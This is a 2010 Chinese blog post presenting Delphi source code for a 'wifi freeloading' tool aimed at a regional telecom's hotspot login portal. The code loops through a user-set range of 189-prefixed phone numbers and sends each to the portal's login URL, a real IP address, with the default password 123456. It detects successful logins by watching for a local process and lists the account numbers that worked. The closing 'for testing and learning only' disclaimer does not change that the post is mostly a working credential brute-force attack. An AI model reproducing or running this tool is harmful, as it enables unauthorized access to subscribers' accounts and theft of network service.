某地区电信蹭网工具

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ComCtrls, ExtCtrls, OleCtrls, SHDocVw, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    Edit1: TEdit;
    Edit2: TEdit;
    Edit3: TEdit;
    Button1: TButton;
    Button2: TButton;
    ListView1: TListView;
    Memo1: TMemo;
    Panel1: TPanel;
    Label6: TLabel;
    Label7: TLabel;
    WebBrowser1: TWebBrowser;
    Label8: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

uses TLHelp32, IdMultipartFormData;

var
  SuccessNum: Integer;
  Count: Integer;
  StartNum: Integer;
  OverNum: Integer;
  TelPhone: Integer;
  Tel: String;
  Delay: Integer;
  Stop: Integer;
  item: TListItem;
  ActionUrl: String;

  { 进程存在性检测函数 }
function FindProcess(AFileName: string): boolean;
var
  hSnapshot: THandle; // 用于获得进程列表
  lppe: TProcessEntry32; // 用于查找进程
  Found: boolean; // 用于判断进程遍历是否完成
begin
  Result := False;
  hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 获得系统进程列表
  lppe.dwSize := SizeOf(TProcessEntry32); // 在调用Process32First   API之前,需要初始化lppe记录的大小
  Found := Process32First(hSnapshot, lppe); // 将进程列表的第一个进程信息读入ppe记录中
  while Found do
  begin
    if ((UpperCase(ExtractFileName(lppe.szExeFile)) = UpperCase(AFileName)) or
        (UpperCase(lppe.szExeFile) = UpperCase(AFileName))) then
    begin
      Result := True;
    end;
    Found := Process32Next(hSnapshot, lppe); // 将进程列表的下一个进程信息读入lppe记录中
  end;
end;

{ 结束进程函数 }
procedure EndProcess(AFileName: string);
const
  PROCESS_TERMINATE = $0001;
var
  ExeFileName: String;
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
begin
  ExeFileName := AFileName;
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
  while Integer(ContinueLoop) <> 0 do
  begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase
          (ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) = UpperCase
          (ExeFileName))) then
      TerminateProcess(OpenProcess(PROCESS_TERMINATE, BOOL(0),
          FProcessEntry32.th32ProcessID), 0);
    ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
end;

{ 延迟函数 }
procedure TimeStop(msecs: Integer);
var
  Tick: DWord;
  Event: THandle;
begin
  Event := CreateEvent(nil, False, False, nil);
  try
    Tick := GetTickCount + DWord(msecs);
    while (msecs > 0) and (MsgWaitForMultipleObjects(1, Event, False, msecs,
        QS_ALLINPUT) <> WAIT_TIMEOUT) do
    begin
      Application.ProcessMessages;
      msecs := Tick - GetTickCount;
    end;
  finally
    CloseHandle(Event);
  end;
end;


{ 猜测函数 }
procedure ChechTel(TelPhone: Integer);
begin
  // ShowMessage(IntToStr(Telphone));

  {Post}
  Tel := 'http://219.150.59.241:80/login.do?username=189' + IntToStr(Telphone) + '&&passwd=123456&&postfix=@cw.xz.chntel.com&&address=xz&&areacode=ln&&browser=1&&loginvalue=1&&basePath=http%3A%2F%2F219.150.59.241%3A80%2F&&language=cn';
  Form1.WebBrowser1.Navigate(Tel);

  Form1.Label8.Caption := Tel;
  { 延迟 }
  TimeStop(Delay);

  { 判断是否登录成功 }
  if FindProcess('wifiTray.dll') then
  begin
    item := Form1.ListView1.Items.Add;
    item.Caption := '189' + IntToStr(TelPhone);
    item.SubItems.Add('Success');

    Form1.Memo1.Lines.Add('Find a Telphone Login Success : 189' + IntToStr
        (TelPhone));

    { 结束进程 }
    EndProcess('wifiTray.dll');

    { 计数器加加 }
    SuccessNum := SuccessNum + 1;
  end
  else
  begin
    item := Form1.ListView1.Items.Add;
    item.Caption := '189' + IntToStr(TelPhone);
    item.SubItems.Add('Fail');
  end;

end;

{ 处理号码段 }
procedure TForm1.Button1Click(Sender: TObject);
var
  Num: Integer;
begin
  { 初始化计数器 }
  SuccessNum := 0;
  Stop := 0;

  { 取得开始和结束号码 }
  StartNum := StrToInt(Edit1.Text);
  OverNum := StrToInt(Edit2.Text);

  { 取得号码段总数 }
  if OverNum < StartNum then
  begin
    ShowMessage('Are You Ok? Guys!');
  end
  else
  begin
    Count := OverNum - StartNum + 1;
  end;

  { 初始电话号码 }
  TelPhone := StartNum;

  { 取得延迟时间 }
  Delay := StrToInt(Edit3.Text);

  { 清空控件 }
  ListView1.Items.Clear;
  Memo1.Clear;

  { 检测是否已经断网 }
  if FindProcess('wifiTray.dll') then
  begin
    ShowMessage('Please Disconnect Your Wifi Net!');
  end
  else
  begin
    Memo1.Lines.Add('Checking...');

    { 循环猜测 }
    for Num := 0 to Count - 1 do
    begin
      if Stop = 0 then
      begin
        ChechTel(TelPhone);
        { 电话号码递增 }
        TelPhone := TelPhone + 1;
      end
      else
      begin
        { Stop }
      end;
    end;
  end;

  { 统计结果 }
  Memo1.Lines.Add('All Done!');
  Memo1.Lines.Add('Find ' + IntToStr(SuccessNum) + ' Result(s)');

end;

{ 停止工作 }
procedure TForm1.Button2Click(Sender: TObject);
begin
  Stop := 1;
  Memo1.Lines.Add('Stoping...');
end;

{ 程序初始化 }
procedure TForm1.FormCreate(Sender: TObject);
var
  column: TListColumn;
begin

  column := ListView1.Columns.Add;
  column.Width := 280;
  column.Caption := 'Telphone';
  column := ListView1.Columns.Add;
  column.Width := 105;
  column.Caption := 'Status';

  ListView1.Align := alTop;
  ListView1.ViewStyle := vsReport;
  ListView1.GridLines := True; { 非默认 }
  ListView1.ShowColumnHeaders := True; { 默认 }

  ActionUrl := 'http://219.150.59.241:80/login.do';

end;

end.

仅仅是用于测试和学习,其他非法使用请自负责任。

posted @ 2010-10-08 13:49  noevil  阅读(561)  评论(0编辑  收藏  举报